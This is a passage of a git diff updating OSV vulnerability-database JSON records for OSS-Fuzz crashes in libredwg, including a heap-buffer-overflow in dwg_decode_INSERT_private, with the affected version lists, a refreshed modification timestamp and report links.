.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-1198.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53617"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-1259.json b/data/OSS-Fuzz/OSV-2022-1259.json index 9871a1b57d..6cf30ee206 100644 --- a/data/OSS-Fuzz/OSV-2022-1259.json +++ b/data/OSS-Fuzz/OSV-2022-1259.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-1259","published":"2022-12-13T13:00:46.870838Z","modified":"2026-11-11T14:45:03.811584307Z","summary":"Heap-buffer-overflow in dwg_decode_INSERT_private","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=54228\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ndwg_decode_INSERT_private\ndwg_decode_INSERT\ndwg_decode_add_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7a44f5e43b2a49bf244e24b796a657c9c78f31a1"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-1259.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=54228"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-1259","published":"2022-12-13T13:00:46.870838Z","modified":"2026-11-12T14:30:04.362441034Z","summary":"Heap-buffer-overflow in dwg_decode_INSERT_private","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=54228\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ndwg_decode_INSERT_private\ndwg_decode_INSERT\ndwg_decode_add_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7a44f5e43b2a49bf244e24b796a657c9c78f31a1"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843"